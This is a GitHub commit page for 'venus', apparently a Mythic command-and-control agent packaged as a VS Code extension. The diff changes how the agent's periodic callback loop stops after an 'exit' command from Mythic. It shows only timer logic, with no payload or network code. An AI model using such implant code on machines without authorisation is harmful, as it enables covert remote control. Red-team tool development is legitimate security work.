Skip to content

Commit 7057cbe

Browse files
committed
Fix clearinterval() usage
Stop saving a whole Timeout object into globalState, which I assumed was an intenger (based on what setInterval returns in vanilla JavaScript). You can exit from a looping function by calling clearInterval(this) instead. Resolves mysterious "circular structure" error messages, allows payload to confirm receipt and completion of 'exit' command to Mythic.
1 parent 6869cf9 commit 7057cbe

File tree

1 file changed

+3
-8
lines changed

1 file changed

+3
-8
lines changed

Payload_Type/venus/agent_code/extension.js

Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -67,9 +67,7 @@ function mainLoop(context) {
6767
const mustExit = context.globalState.get('mustExit')
6868

6969
if (mustExit != null) {
70-
// Find ID for main loop and stop it
71-
const intervalID = context.globalState.get('intervalID')
72-
clearInterval(intervalID)
70+
clearInterval(this)
7371

7472
// Clear out the exit instruction
7573
context.globalState.update('mustExit', null)
@@ -149,15 +147,12 @@ function activate(context) {
149147
const callbackUUID = context.globalState.get('productID')
150148
// Build parameter is in seconds, setInterval() wants milliseconds
151149
const interval = callback_interval * 1000
152-
var intervalID
153150

154151
if (callbackUUID != null) {
155-
intervalID = setInterval(mainLoop, interval, context);
156-
context.globalState.update('intervalID', intervalID);
152+
setInterval(mainLoop, interval, context);
157153
} else {
158154
checkIn(context);
159-
intervalID = setInterval(mainLoop, interval, context);
160-
context.globalState.update('intervalID', intervalID);
155+
setInterval(mainLoop, interval, context);
161156
}
162157
}
163158

0 commit comments

Comments
 (0)